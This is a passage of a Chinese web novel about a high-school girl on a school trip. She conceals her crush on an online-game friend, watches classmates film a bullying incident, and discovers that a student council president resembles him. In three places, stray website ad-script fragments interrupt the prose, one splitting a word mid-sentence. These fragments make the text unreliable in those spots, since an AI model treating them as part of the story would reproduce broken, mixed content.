李轩玉反应慢半拍,鼓掌起哄:“看吧我说了,能成!是时候摸下一张牌了!” 韩思抿唇。 零零零总是这样。 总是毫无顾忌地营造出极容易误解的氛围,就好像他真的喜欢自己一样。 但实则他对谁都一样,他脾气就是那样。 可现在已经错过了解释的最佳机会,零零零那臭不要脸的也任由他们揣测,只能说幸好李轩玉及时转移了话题。 韩思趁大家都在看陈岁安抽牌的时候,偷偷用手机登游戏快捷版,打字。 汉斯:你真想装我男朋友啊?快点给我去解释清楚啊! 000:解释什么? 汉斯:说清楚我们是普通朋友关系啊!! 汉斯:你不能真的爱上我了吧? 对面没回答,幸运的是这位不回消息的人就在眼前。韩思抬头见零零零正托腮看那三人,好像在看热闹。 热闹中心的陈岁安念出牌:“平时钱都花在哪里?花在吃上啊还能花在哪里。” 陶珏:“看出来了。” 李轩玉:“你是真能吃啊,十五分钟干没三包薯片。” 陈岁安挠头:“我妈说能吃是福……” 韩思赶紧趁其他人都背对着,一屁股挪过去,挡在少年的眼前偷偷做口型:回我消息! 零零零低眸扫过她的脸,睫毛长得惊人。 “你这老鼠的睡衣还挺可爱,比前天那件可爱。” “是仓鼠!”韩思纠正,正巧那边的几个人也转身,也不管还没得到回答,她瞬间挺直腰板正襟危坐。 “下一张牌,轮到了帅哥了!”李轩玉招呼道,“韩思你替他抽还是我来?” 韩思对那玩意儿已经有点心理阴影了,有气无力道:“李轩玉你来吧,这位帅哥你选啥,你也不能大冒险吧。” 零零零语气平淡:“随便。” “那真心话好了:你和你旁边的人是什么关系?”李轩玉有点失落,“这个问题也没啥意思啊,这不都被我们发现了吗。” 作为旁边的人。 韩思已经吃过一次回答慢的亏了,这次她抢答:“朋友关系。” 话音落下的同时那边三脸不信。 李轩玉打趣道:“还嘴硬呢?” “嗯。”零零零鼻音很轻,语调散漫,“不逗你们玩了,我和她真的只是比较要好一点的朋友。” 29. 飞蛾(5) 手机忽然响了,是外卖小哥打进来的电话。 陈岁安心思敏感,察觉到室内空气稍许窒息,借此机会提出:“外卖到了?去拿吗?” 李轩玉起身,拿过手机拍拍褶皱的睡裙:“走走走,冷了就不好吃了。” 陈岁安向韩思善意地问道:“韩思你要不要也一起来。” “好啊。”韩思麻溜地爬起来跟上。 关上酒店门,室内与室外被彻底隔绝,好像把在零零零面前的仓皇失落都遗留在房间里,只剩下平静。 韩思主动开口陈述事实,不想再被起哄:“李轩玉,我知道你好奇我和他关系,但我和他真的就是普通朋友。” 李轩玉努努嘴:“好嘛好嘛大学霸,那我等会儿不追问了,我就是看他对你还挺好的,以为你俩真有可能。” “他对谁都这样,你和他熟了的话,他也会这样对你。” 韩思毫不在意地说着,先一步走下楼梯口。也许是因为一直都知道,所以说出来的时候也顺理成章,心底都泛不起一丝波澜。 却没想到李轩玉竟追上来问:“真假的?他对谁都能很好?脾气很好嘛。” 陈岁安作为多年的‘老朋友’,早就看透李轩玉在盘算什么,劝诫道:“你别忘了陶珏还在追你啊。” “对啊他在追我,我又没答应要在一起。”李轩玉耸耸肩,“况且我也没说要追那个帅哥啦,都不知道本人长什么样,但声线不错,性格看上去很会撩,不是渣男就是蛊王。” “哎韩思,你知道他真人长什么样吗?” 肩膀被拍,韩思转头就是李轩玉好奇的表情,她忽然觉得有些好笑:“不知道啊,你要是能成功拿下他的话,我也想看看他现实里长什么样子。” 被问了才发现,她原来真的对他一无所知。 “你看吧,韩思都不在意,鼓励我去追她朋友呢。”李轩玉语气是令人羡慕的轻松。 她这样直率又会主动出击的漂亮女生,说不定真能成功拿下零零零。 回忆里闪过零零零笑吟吟的模样,不知为什么,韩思也跟着勾起唇角:“我干什么要拦朋友的桃花。” 反正无论是谁,只要因当初那个游戏前期的新手任务结缘,都会比她表现得更优秀吧,至少不会窝囊到连告白都要借着大冒险才能说出口。 她只是运气好,正好在那天,碰上了少年伸出的手。 酒店的电梯正对大堂,开门就能见到正在大堂沙发坐着,用电脑备课的老师。 虽说点外卖这种小事是睁一只眼闭一只眼,但要是嚣张到跳眼前了,那肯定还是要抓的。 所以学生一般都走楼梯偷偷拿外卖,和外卖小哥交接完毕回去也走楼道。 李轩玉烧烤一拿到手就扔给了陈岁安,她又看点餐软件:“这俩怎么不能一起送到呢,还有个奶茶大概还要十分钟,就不上去了吧?你们在这里陪我等会儿。” 韩思没意见:“行啊。”不如说她乐得其见,她一想到房间里的零零零就避之如蛇蝎。 陈岁安建议道:“刚楼梯下来的时候我看到有条通往后头的走廊,去那里看看?说不定那边有椅子,我们可以先吃起来,烧烤冷了就不好吃了。” “你这么馋嘴,难怪这么胖。”李轩玉扯了扯嘴角,捏了把陈岁安的小肚子,手机链条随着动作碰撞,发出清脆的声响,“听你的咯,在这里压低声音说话也怪难受的。” 韩思在望风:“那老师站起来了,不会要往我们这边兜过来吧?” “快走快走。”李轩玉推了下陈岁安的后背,但她细胳膊细腿的实在没推动,就自己先快步走起来,“正好去后头看看,还没见过这酒店后头有啥呢,搞不好有个小花园健身房啥的。” “就这两星级酒店,算了吧。”陈岁安吐槽。 这家酒店确实挺小,不过多久就走到了走廊的另一头。 尽头有扇巨大的落地窗,不过室内没开灯昏昏沉沉,窗外景色亦是黑压压的,依稀能辨出茂林修竹的影子,明月高挂,已是入冬的季节,外头飘零萧条。 陈岁安说出了韩思的心声:“怎么看上去阴森森的?” 韩思替酒店找补:“大概春天有太阳的时候会挺好看。” 李轩玉倏地放慢脚步,转过头脸上是极其夸张的表情:“嘘!快点快点躲这里。” 一头雾水的韩思和陈岁安被推到走廊拐角处,借着月光,看见李轩玉的眼里闪着兴奋,她的嗓音极轻:“你们两个看得清吗?那边角落里的那个人是不是从云舒?我今天没戴隐形眼镜。” 三个人鬼鬼祟祟地一同探出脑袋,目光顺李轩玉葱葱细指所指的方向看去。 酒店后头的小树林里有个瘦瘦小小的背影,背着双肩包,从体型上看约莫是个男孩子。 陈岁安座位就在从云舒边上,抬头不见低头见,因此语气笃定:“是从云舒,被他挡着的那个男生是谁啊?看着也很眼熟。” 韩思不太确定地开口:“潘邢?” 李轩玉:“我也觉得像,但他们两个怎么会混到一起?” 空气里除大家的呼吸外悄无声息,偶尔有些吵吵闹闹的杂音也是百米开外的酒店大堂,气氛被烘托得有些紧张。 李轩玉突然噗嗤笑了下:“韩思你不会怕了吧?瞧你面色白的,你被潘邢打怕了啊?人从云舒都没被打怕。” 韩思没吱声。比起害怕潘邢,她更怕惹事上身。但看李轩玉神采奕奕精神抖擞的模样,她最终没解释,又悄悄后退两步。 膝盖上还留着道深深的疤,以及当时的那种惊慌无助,都时刻提醒她要离这些神经病远些,鬼知道他们躲在小树林搞什么。 李轩玉语气嘲弄:“我还想让你过去装路过帮我看看什么情况呢,就你这样子去了肯定被发现,算了我还是自己去吧。” 她转身就想从阴影里走出去,又被陈岁安一把拉回。 “等等李轩玉!从云舒好像又被打了。” 李轩玉刚还微恼的脸上又满是八卦:“我就说他俩一碰上,从云舒肯定要挨打!” 虽有密密匝匝的竹子遮挡,但仍能看到那个瘦小的男生按倒在地上,又挨了几脚踹。 “我去叫老师。”韩思不忍道。从云舒本来就很少来学校了,精神萎靡的样子说不定已经陷入精神疾病,又被潘邢下手不知轻重地打无法反抗。 “不许去,反正现在不许你去叫老师,你要是去……” 转身刚想走,就被李轩玉的手拦住,只见她从睡裙裙兜里掏出手机,口不择言地威胁道:“我就把你喜欢那个帅哥的事情当面告诉他,他不是还不知道你喜欢他,又对你没兴趣吗,我就看他会不会和你断绝关系。” “就我了解的,这种把你单纯当朋友的男生,他要是真发现了你喜欢他,绝对第二天就不来找你了。” 她对韩思了解不多,也就这刚知道的一点小秘密,说出口拿来威胁人的时候还有些不确定,但巧的是,歪打正着地命中软肋。 又是选择。 韩思抿紧唇,掌心握紧,带着些厌恶,说不清是厌恶李轩玉多一点还是厌恶自己多一点。 她是胆小鬼,所以——又是逃避。 李轩玉的细胳膊就横在面前,如她本人那样纤弱洁白,分明是轻轻一推就能离开,但韩思没继续走。 陈岁安抱着堆烧烤,也有些着急:“干什么不找老师啊?李轩玉你瞎搞什么呢?” “你也不许走,叫老师来了就没好戏看了。”李轩玉语调轻飘飘,“从云舒他自己胆子小不敢反抗,关我什么事?反正他都挨打这么多次了,也不多这一次,难得能正好碰见现场,我们还能躲在这么得天独厚的地方,不被发现。” 韩思没怎么听李轩玉后头说的话,她的目光飘到不远处挨打的身影上,从云舒似乎想爬起来反击,却又被踩在地上,好像被潘邢用烟头烫脑袋了,他瑟缩了一下。 如果她不是高三转来,高一就在这班级的话,只怕她的下场不比从云舒好多少,或许会因为是女生,遭遇更惨的事情,例如之前那群男生的猥亵未遂。 对他们这种孤立无援的人来说,反抗不过是无用功。 只怕她有朝一日被人打死了,她的母亲也会在哭泣过后,生出“终于撇去一个生活负担”的念头。 所以零零零肆无忌惮的爱意,无论是有意无意,都显得弥足珍贵。 她要偷偷地、不被人发觉地、把这些爱珍藏起来,度过难捱的寒冬。 不能被他发觉。 韩思移开目光,不忍再看从云舒单方面的挨揍。 “别用那种看坏人的眼神看我,看到了没?我在录像!”李轩玉手指尖戳屏幕,发出清脆的声响“等高考完我就要把潘邢校园霸凌人的事情抖露出去,最好让各大媒体都报导,看看潘家生出来了个什么东 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 西。” 她目前看上去镇静许多了,有条理地解释道:“我也是为了你们两个考量,现在去找老师,潘邢肯定就知道是我们举报的,我要被他报复的,等高考完我绝对会举报他的。” 李轩玉说得也很有道理。 一切都等高考结束,等和七中彻底一刀两断,有充足的底气伸张正义,也不会再害怕被报复,因为她再也不会回到那座城市。 韩思没能过意得去的良心,在找到借口后,似乎稍稍好上了些。 李轩玉似乎想修复下关系,又道:“好了韩思你也不要生我气了,我刚是口不择言了点,向你保证,我不会告诉那帅哥的,你也别和他说什么我的坏话。” 虽然语气里也没什么道歉的诚意,但毕竟是有钱人家的贵女,能让她主动开口道歉已经很不容易了。 韩思回道:“没事没事。” 但心里门清,李轩玉能道歉,大概率也是害怕她在背后和零零零嚼舌根吧,毕竟目前两人的关系很近。 韩思的视线仍时不时关注室外竹林,她忽然发现:“潘邢好像从从云舒身上抢走了什么东西。” “你要研究吗,等会儿我视频也发你一份。” “都行。”韩思警惕地提醒道,“潘邢站起来了,我们差不多要跑了。” 陈岁安也劝道:“快跑吧,潘邢那人没道德底线可言,在这里看着做贼似的我心里也发咻,不行不行,我先走了,你放心我不告诉老师。” “你们两个人胆子小得和什么似的,他也就一个和我们一样的学生。”李轩玉关手机屏幕,“行了一起走吧,今天收获颇丰,哎正好奶茶已经到了放在大堂外头的树下。” 拿着一箩筐外卖进房门前,韩思还在心里琢磨零零零会不会已经不在房间里了,毕竟他是意外被邀进来的,享有人身自由权可以随时跑路。 然而开门就听零零零揶揄的声音:“拿个外卖需要这么久吗?中途都够吃顿饭了吧。” 陶珏震惊:“我去,你们是女生吗,点这么多?” 李轩玉长腿一勾关门,嗔怪着撒谎道:“你们俩就瞎讲吧,我们一拿到外卖就赶紧上来了。” 韩思把手里的奶茶放桌子上,零零零就在原来的位置上坐着,半臂之隔的距离,他撑着头故意打了好几个哈欠,要是在游戏里,只怕都能感受到他呼出的气流。 说不清自己的内心,是想见他多一点还是不想见多一点。 陶珏嚷嚷:“你们这点的,给我都看饿了,各位搞快点我们早点结束,我要下线点外卖去了!” 李轩玉嘴唇一瘪,佯怒道:“陶珏你再这样,就陪我到下半夜吧你。” 不知是不是人以群分,陶珏也油嘴滑舌起来:“下一个是谁,哦下一个是我们的李轩玉大美人,大美人抽一抽。” 又是一轮,韩思这轮运气总算好起来了,抽到的是最喜欢的食物,平平淡淡揭过。 等到零零零的时候,韩思替他抽到了“生日是什么时候”。 也是个简单问题。 韩思趁所有人都在看回答者,眼神也状若无意地注视着正在回答的少年。 他说:“是1月1日。” 借着真心话大冒险,更多地了解零零零一点。 也不错。 李轩玉接话道:“正好是元旦呢,新年的第一天。” 陈岁安羡慕得很:“这生日过得老开心了,每年都能碰上假期。” 韩思没说话,被李轩玉刚那么一威胁,她现在有些后怕,连座位距离都和零零零分开了点,只求千万不要被发现。 少女暗恋的真心见光就死了。 但恬不知耻的零零零率先发话,少年侧过脸来问道:“有想好给我什么生日礼物吗?” 他故作惊讶,用着委屈的语调:“一月一号,马上就要到了呢,哎你不会没想过给我准备吧?” 第一次见到如此理直气壮伸手讨要的,更何况,韩思叹口气:“……我之前都不知道你的生日。” “对哦,你怎么不问呢?” 被质问的韩思又叹口气:“那你也不知道我的啊。” 没料想零零零开口报出准确的日期:“6月9号。” 见少女原本有些神色低落的脸上,再次变得生动起来,接连闪过语塞和吃惊。零零零笑眯眯地,也不卖关子了:“笨啊,去医院那天看到了你的身份证。” 30. 振翅(6) 第二天早晨刷牙洗脸的时候,外头传来爆竹燃烧的噼里啪啦,喜庆又嘈杂。 还在赖床的陈岁安嘟囔着翻了个身:“吵死了啊谁啊。” “大概是附近有人结婚,今天是良辰吉日。”韩思边把洗漱用品放回原位,边催促道,“陈岁安你可快些起床吧!集合时间要到了!快点起来快点起来。” “好厉害啊,你还懂风水吗?”陈岁安卷起被子猛然坐直,又倒下去翻了一圈,哼哼着:“不想起来不想起来啊,冬天好冷。” “日历上看了眼。”韩思索性走过去双手一抓抽走她的被子,站在床边拍拍手:“快点起,还有二十分钟就集合了!” “你……”被抽走被子的陈岁安清醒点了,还有点被震慑住,“你这抽被子喊人起床的手段好像我妈啊,真羡慕你这种不赖床的人,不愧是学霸。” “我一个人住,要是赖床可没人喊我。”韩思转过身顺手把堆在桌子上的垃圾也都一并打扫干净,又把陈岁安的衣服扔到她床上,“你的衣服。” “谢谢。说起来昨天玩得太晚了,那几个人走了以后我都没来得及和你说就睡着了,连牙齿都没刷。”陈岁安接过,磨磨蹭蹭地穿上,“我感觉你人真好也很善良,昨天的那个帅哥也对你很好,我觉得你俩还挺般配的,李轩玉也说你喜欢他……” “假的假的假的。”韩思揉揉太阳穴。怎么一大早又回到了她不太想提起的话题。 真后悔昨天打开门让李轩玉进来。 她昨晚一夜没睡好,闭眼就开始担忧李轩玉把这事儿通过陶珏告诉零零零的可能性。 要是真让零零零知道她对他有意思…… 她已经预设出八百个少年或嫌弃或冷硬或生气的反应,最后的结局无一例外都是远离消失在视野范围里。 所以不管怎么说,都要把这一丝被发现的可能性都掐灭掉。 掐灭的愚蠢但有效途径,就是否认,就是逃避。 “但我还是想说一下,我也就在背后说说,你不要告诉李轩玉。”陈岁安突然吞吞吐吐地,她又犹豫,又打心里觉得任由事情发展不好,“你和李轩玉不熟你不了解她的性格,她对感情挺花心的,要是想追求人,都不一定是因为喜欢,她要是真喜欢,我就不多说什么了。” 韩思整理完桌子,拉开窗帘,阳光长驱直入照亮室内,有点晃眼睛,低头正好能看到有的人已经提前在楼下等集合了。 “陈岁安你要不简单点直说,还有十五分钟就集合了。” 闻言陈岁安穿裤子的速度明显提上来了,三下五除二就穿戴整齐冲进厕所,说话也单刀直入:“你是真无所谓李轩玉追求你朋友啊?” 韩思特坦然:“对啊,和我有什么关系。”虽然具体说不清也理不清心里复杂纠葛的情绪,于是索性也不多想。 “难道你真的不喜欢你朋友吗?李轩玉不是说……” “我都说了假的,李轩玉乱猜的。”陈岁安这次单刀直入得未免也太刀刀见血了点,这种直来直往的性格有时候真是应付不来。幸好她人在厕所刷牙不在自己面前。 不过反正她现在是打死也不会承认,哪怕是一丁点的在意也不承认,快刀斩乱麻地撇清关系。 韩思用力闭眼直头疼,就又听陈岁安咕噜咕噜漱口完了继续在说:“你真不喜欢就好,我猜李轩玉昨天说追人家估计不是玩笑话,大概率马上就会付出行动,闹得不轰轰烈烈不罢休,你要是喜欢你朋友我就得安慰你了。” 昨天短暂的和李轩玉相处,也能窥见一二她的脾气。 莫名想到零零零似乎也说过类似的话。 张扬的语气犹在耳畔,他说他要是碰上喜欢的人 ——“我绝对会让所有人都知道我喜欢她。” 照这样看这两人还挺般配的,都是大张旗鼓的类型。 “你对你朋友了解多少?能成的概率你觉得有多少?” 不得不说熟悉之后陈岁安话也挺密,同住一晚上知道韩思脾气好得毫无攻击性后,她也放宽心聊天。 韩思叹口气,回道:“不知道。” 陈岁安捋起头发扎好凌乱的马尾,肉嘟嘟的脸上是惋惜,“说真心话,我还是觉得陶珏人蛮好的,就是比较爱玩游戏,他们也交往一段时间了,要是就因随随便便的喜欢拒绝掉陶珏,还挺可惜的。” 也能听出来陈岁安是好心,但在李轩玉面前她又不敢讲,照李轩玉骄纵的脾气来讲,要是说了多半要翻脸,她只是想小心翼翼地维持着朋友关系而已,只能背后劝韩思几句,盼望韩思能够说上一两句。 莫名其妙地成为了最合适制止这场闹剧的人,韩思哑然失笑,她似乎并不在意,目光从窗外收回,她摊摊手,语调平静像在陈述事实:“你和我说也没用啊,我又没有立场替我朋友拒绝李轩玉。” 本来就是事实。 零零零不喜欢她。 她选择终结话题,拎起挎包催促道:“快下楼,更要紧的事情是我们要迟到了,不等你了。” “按个电梯等等我——” 研学旅行第二天的安排是去xx大学参观,全国顶尖的985,安排目的是力求让学生们能通过参观梦校激发学习动力,奋发图强地努力。 刚到A大校门口,霸气的校门矗立,学生们一个接一个下车,有人在感叹。 “我要是能考上A大就好了,我妈能给我买新pad。” “做梦都做这么小?考上A大我就是我家的神,但我的水平只能支撑我成为屎。” “做过攻略了,A大有家校内奶茶店很好吃,找个时间偷偷离队去买不?” “A大的女生都好漂亮啊,什么奶茶店?吃中饭的时候开溜怎么样。” 很显然,激发学习动力,有用但不多,学生吃饭动力倒是一如既往地精神抖擞。 “韩思你去不?奶茶店。” 手肘被人推了推,韩思转头,是一直跟在边上的陈岁安。 韩思:“不太感兴趣。”她最近生活费有些拮据,母亲已经很久没往她卡上打钱了,她也不想低三下四地去求,只能能省一点是一点。 陈岁安懊恼:“韩思你怎么什么都不感兴趣的样子,昨天烧烤薯片奶茶都基本没碰。” 李轩玉俏皮的声音从身后响起:“这就是大学霸的自制力,你学不来的。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 韩思嗯了声。 虽然那是因为不想欠人人情,有欠就有还,容易纠葛不清,就如同她和零零零的关系。 刚在思考李轩玉是怎么想的,竟撇下她朋友走到班级底层两人的边上来,就听她按耐不住问道:“哎学霸,你知不知道你那朋友喜欢什么?他不是说他要生日了吗,我想顺便在S市买点。” 李轩玉比自己想的还要直接,陈岁安看人真准。 韩思摇摇头:“不清楚。” 李轩玉贴近,一股浓郁的花香水味直入鼻尖,肩膀被她轻碰,她那打趣的语气都让人生不起气来:“别小气嘛,我可以给你介绍我认识的男生,包帅的,比你朋友还帅,何况你都没见过你朋友本人。” 有什么好难过的呢,人家喜欢上了打算去追,追不到追得到,都又和自己有什么关系,这是她的自由。 韩思无奈:“没有骗你,我是真的对他一无所知。” “啊?这都不知道也算喜欢吗?” 韩思被问得皱眉,李轩玉以为她要生气,本来就有点理亏,她压低声音,“行了我不说那个话题了。” 韩思:“我不喜欢他。” “那你昨天……” 韩思特干脆利落不拖泥带水:“其他原因。” 她大步流星追上大部队。 但大脑被李轩玉突然这么一问还有点发懵,自己真的喜欢他吗? 她对他一无所知。甚至相处三四个月了都没问过他几岁,在哪座城市,还是昨天晚上胆子大的李轩玉问的。 零零零竟也神色如常地回答了,他说他和韩思同龄,在S市读高中。 陶珏震惊脸:“老大你这么小啊?” 韩思也拧着眉毛,这种天天上游戏不下线的频率,大家真的读的是同一种高中吗?但又转念一想零零零什么题目都能答,超级大学神不是凡人可以比拟的,说不定两只眼睛扫一下就是她三小时的勤勤恳恳学习量。 李轩玉惊讶:“我们也在S市,是不是有机会可以线下见面!好可惜啊这次研学旅行,不然我们还可以溜出来,韩思你不也没见过吗?你怎么不好奇的?” “S市很大,没那么巧。” 他是这样说的。 韩思也这么觉得。 “喂你看,那边是不是也是所高中组团来A大啊?” “今天还真热闹啊,食堂不会排不上吧。” “吃吃吃陈岁安你就想着吃,那校服上写着S市xx中学,本地的学校也要来参观啊。” “领头的那个男生好帅,身板笔直,李轩玉你觉得咋样?” “瞧你说的,我才不是那么轻浮的人,不过真挺帅,等他什么时候能转过脸来我仔细看看。” 韩思心道:同一片蓝天下有同一种校领导,都有着一颗欲图激发学生动力的心。 抬头随意远望了眼,就犹如雷劈般,怔愣在原地难以再移动分毫。 小跑的脚步声从身后传来,李轩玉追上说,“哎韩思你走真快,你来看啊,那个人看上去是不是有点像你那个朋友?” 她的语调里抑制不住兴奋:“不会还真那么巧吧?” 31. 振翅(7) 韩思迅速调整情绪,分析道:“游戏展现的也有可能是捏脸数据,不一定真人就长这样。” 话是这么说,但她的目光没能移开。 那边的站着的是同样一群风华正茂的高中生,约莫三十来个人,男生是板正的西服西裤,女生是衬衫半裙,他们似乎在准备拍大合照。 量身定做的西服和大批量生产的廉价蓝白校服不一样,至少不会在走路的时候发出沙沙的塑料袋声音。 他们校服上头的标志韩思认得,这是一所S市顶尖的中外合资高中,每年对外招生的名额都让人挤破头,进去的不仅是非富即贵,还有自身足够聪明,听说入学考试就媲美高考卷。 这批来参加A大数学建模竞赛的,更是其中佼佼者。 站在最前面的男生在帮忙做一些排队维持秩序的工作,穿梭在人群中却因颀长身形和挺拔的身姿异常显眼,同样是学生装扮,貌似非常能干。 也许是纯粹的巧合,也许是感受到从远处而来的视线,那男生忽然又转头了,少年的正脸在阳光照耀下展露无疑,韩思再一次看清了那张极为相似的脸。 韩思匆匆移开视线,听见李轩玉说:“你朋友是真人导入的数据,看样子你也不怎么玩《仙缘》嘛,昨天晚上我问陶珏了,他说真人导入边上都有大标志的,你朋友真人也是大帅哥,赚了赚了。” 李轩玉在独自雀跃:“他刚看过来了,会不会认出我俩了?等会儿会不会过来?” 会不会认出来了? 韩思没回答,心中升起紧张,快走几步跟上大部队。 李轩玉瘪嘴碎碎念:“和你这种学霸聊天好没劲啊,你走那么快干什么,我还想走过去看呢,你看我昨天说的准吧,是不是真有那么巧的事儿。” “S市高二的数学建模竞赛小组,整整一天都会在A大,过会儿空档再去找他们也不迟,现在我们马上就要掉队了。” “你怎么这么了解?哦差点忘了你也是S市转过来的,那只能过会儿再相见了。” “那个人也不一定就是他。” 接着就见李轩玉一副你在说什么鬼的样子:“我不和你说了是真人数据导入吗,况且都长得快一模一样了大姐,那么有辨识度还带点混血的帅脸我怎么可能认错,至少九成相似有的吧,这还不一定?” 韩思也觉得自己有点儿自欺欺人了。那个男生和零零零有着近乎一模一样的脸,几乎就可以笃定是他本人。 没走两步路李轩玉就转身倒着走,不死心地回头看几眼,又惋惜地转过身来:“他是不是真没认出我们?” “也许吧。”韩思的声音依旧淡淡的。 李轩玉是个明媚外向的性子,实在感觉和韩思聊天感觉冷飕飕的,聊不下去:“你怎么像完全不在意一样,不愧是大学霸,理科生的心都是冷的,我不跟你聊了,我找我朋友去咯。” 临走前她又叮嘱:“你要去找你朋友前和我说一声。” 韩思‘嗯’了下表示答应。 她其实也有点看不懂自己的心情。 在现实里碰面分明是她曾期待过事情,然而此刻比起喜悦与期待,担忧、惧怕、彷徨、怀疑等等更先一步悄悄地缠绕在心头。 原来零零零是S市高中的学生吗?是在学校里也阳光积极的男生吗?他为什么从来没提起过?为什么一直都对现实避讳不谈? 也许只是不想。 也许他其实认出来了,只是太忙,现在转身就能看见他的笑颜。 趁所有人都在前行,李轩玉也哒哒哒向前跑和她的朋友小何勾肩搭背上,韩思的脚步微顿,她忽然也学着李轩玉的样子回头。 身后有长长的梧桐树道,树下来参观的的高中生们欢声笑语,或憧憬未来或嘻嘻哈哈,偶尔还有些提早开溜的大学生,骑着自行车挂上外卖袋子,穿入人群车铃叮叮当当。 那个面庞熟悉的少年站在台上,似乎终于组织完队形,又跑下台站在最后一排,挤进预留出的空档里,草坪上的摄影师喊着“三、二、一、茄子——” 长长的梧桐树道下能看见人群熙熙攘攘,期许里会拍着她的肩意外又惊喜,笑吟吟地说“好巧”的少年化作虚影飘散在风里。 果然没认出来啊,毕竟是相隔人山人海遥遥远望的距离。 等中午有机会碰面,直接出现在他眼前的话,他会不会吓一跳。 带着点儿不甘的期待,在发芽。 A大的学生可以自由选地方吃饭,但作为来参观的高中生只能在规定的校内食堂吃客饭,但幸运的是,今天负责带班的是语文老师,年轻貌美,众所周知的好脾气。 “今天上午的参观任务提早了一小时完成,那我也给各位一小时自由活动的时间,连带吃饭时间有近两小时呢,下午一点在这儿集合做得到吗?” 学生们也不管嘴里是不是还塞着米饭菜叶,异口同声:“没问题。” “沈老师你人真好!” “走了走了买奶茶去。” 沈老师看看外头,又催促道:“你们都快点吃,食堂座位不够。” 韩思抬头望向窗外,是那群熟悉西装校服的高中生,来的人不多三三两两勾肩搭背地进来排队拿饭,但没能看见那道熟悉的身影。 她刻意吃得慢了些。 时间一分一秒流逝,直到饭堂里蓝白色的校服稀稀疏疏没多少,剩下的都是整洁西装的俊男靓女,餐盘里的饭菜也都吃得一干二净,到了再不离开就显得格格不入的时候了。 他大概是点外卖了?或者溜去别的食堂?照零零零的脾气,越想越有可能。 韩思一边思索着要不要直接在聊天软件上开门见山地说,他的反应肯定很惊讶,一边把餐盘扔到回收处。 阿姨哐啷哐啷三下五除二,就把铁盘子都摞成高高的山,手推餐车要赶忙去后厨,在嘈杂人群里中气十足地大声喊:“让一让让一让。” 餐车就像横冲直撞的牛闯入人群,韩思险而又险地和它擦边而过。 刚在吐槽这会撞到人的吧,就像乌鸦嘴一样,果不其然就见到有人没来得及躲开,餐车急刹,高山似的铁盘摇摇欲坠,要是砸人身上不仅疼,而且肯定会被泼上一身都是赃脏的汤料剩菜。 千钧一发之际,铁盘子被人猛然托正,视角刚好被人挡住,看不清见义勇为的人是谁,不过这行为是相当利索帅气。 餐车边上的女生大舒一口气,连声道谢,韩思也替她捏了把汗。 阿姨连说了几句“不好意思不好意思”又推着餐车哐啷哐啷出食堂大门,向后厨进发。 小插曲结束,韩思低着头摸出手机,犹豫了下要不要和零零零说一声我好像看见你了,又自我反思是不是没有必要,也许零零零不想谈现实有他的原因,就像她自己也有很多不愿意说的事情,例如潘邢、例如她的家。 要不还是就保持游戏里的关系吧。 聊天框里的字打了又删除,她跟着餐车的方向也打算走出食堂。 陈岁安的几个朋友一招呼她去帮忙排队买奶茶,她就屁颠屁颠跟着去了,至于李轩玉本来就有自己的朋友,遑论现在又没有零零零在场,自然也不会主动找过来。 一个人虽然有些无趣,但也乐得自由。 还是找个地儿坐下做题吧,再过一个月就是寒假了,寒假上来准备准备,就是小科的小高考了。 温柔的女声正巧在身侧响起:“你下次要小心点哦,要不是我们正好经过就惨了,衣服没事吧。” “衣服没事,真的太谢谢了,都说学生会主席学习体育都好,百闻不如一见,果然身手了得!” 那温柔的女孩子捂嘴,吃吃地笑:“你都把他夸害羞了。” “你也别打趣我了。”那名被称为学生会主席的男生语调内敛稳重,言语中都是工作为重,“温安我们快点打好饭吃好,还要上去帮忙准备下午的资料。” “知道啦,我和他先走了哦。” 韩思走出食堂的步子顿了下,她转过身,距离咫尺,看得从未如此清晰。 如果说两个不同的人有着差不多的样貌,还是件有那么点儿微末可能的事,但倘若加上声音呢。 连同声音都几乎是一模一样,似乎闭上眼就能用大脑模拟出他含笑说话时的语音语调,因为最熟悉不过,因为时常在耳畔响起,带着点儿欠,但她心灰意冷的时候又会带着点儿温暖。 送温暖的少年现在和少女并肩排队在打饭的队尾,仅是侧脸就能看出他们各自长得都是惊人的好看,男生像是混血鼻梁高挺,女生公主切扎着低马尾,睫毛很长,腰带是金色gucci,腿上的靴子是麂皮花纹。 他们等待的空档里也不闲着,两人手拿薄薄的一本笔记本,似乎在商讨些什么,脑袋和脑袋之间凑得很近,在人群的视线里照旧落落大方。 从小就享受人目光里长大的的天之骄子和她是不一样的, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她是见光就会逃窜的老鼠,哪怕情绪排山倒海,疑问旋在喉咙口。 他们会是什么关系呢? 人声嘈杂里,依稀还能听见外头的阿姨推着不大灵便的餐车又铛铛铛地驶过崎岖路面,直向食堂冲来,在跨过大门后仍如野马脱缰。 铛一声又是刹车。 “啊——我的名单——” 果然食堂阿姨的推车很容易撞到人,纸张飞起,在飘到一位路人餐盘里之前,韩思眼疾手快拯救纸张于菜叶之中,迅速捞起。 那名女生趴在地上捡满地的纸,韩思也蹲下,跟着帮忙一张一张捡起。 “呜呜呜谢谢你,刚刚那张没掉进菜里吧。” 闻言韩思抽出最底下的纸粗略一扫,纸张上干干净净,就是抓得急忙边角有点皱。 一眼扫过去率先看到的是最后一行,灰色为背景的横条在白纸里显得突兀。 林商,男,备注:休学。 目光上移,最上头的大字写着高二数学组竞赛签到表,底下满是密密匝匝的姓名性别和职位。 排在第一位的是个叫林参的男生,边上赫然写着学生会主席,还有一行数学竞赛活动负责人的备注。 他下面一行的是沈温安,女,学生会副主席。 千千万的疑惑又不知怎么委婉地打听才自然,就这样开口问会不会太奇怪,得加点弯弯绕绕的装饰才好,可她性子冷情商笨又不怎么会说话,嘴张了点缝隙又闭紧。 韩思把纸递还给那个女生:“没掉菜里,干净的。” 那女生感动得很像一只流泪猫猫头:“太谢谢你了,脏了我还得重新打印。” 看着她接过纸张厚厚一沓都整理好,似乎马上就要起身走了,韩思还是没忍住,手指指向那边的亮眼男女,用最朴实的疑问:“他俩是男女朋友?” “你说主席和副主席吗?他们不是但胜似啦,毕竟高三生学业为重没谈,但两方家里关系都很好,大概上大学就会订婚了吧。” 那女生一副我懂你的样子,好像已经应付过很多次熟能生巧了:“所以虽然主席人很帅脾气好成绩好,但不是可以肖想的啦。” 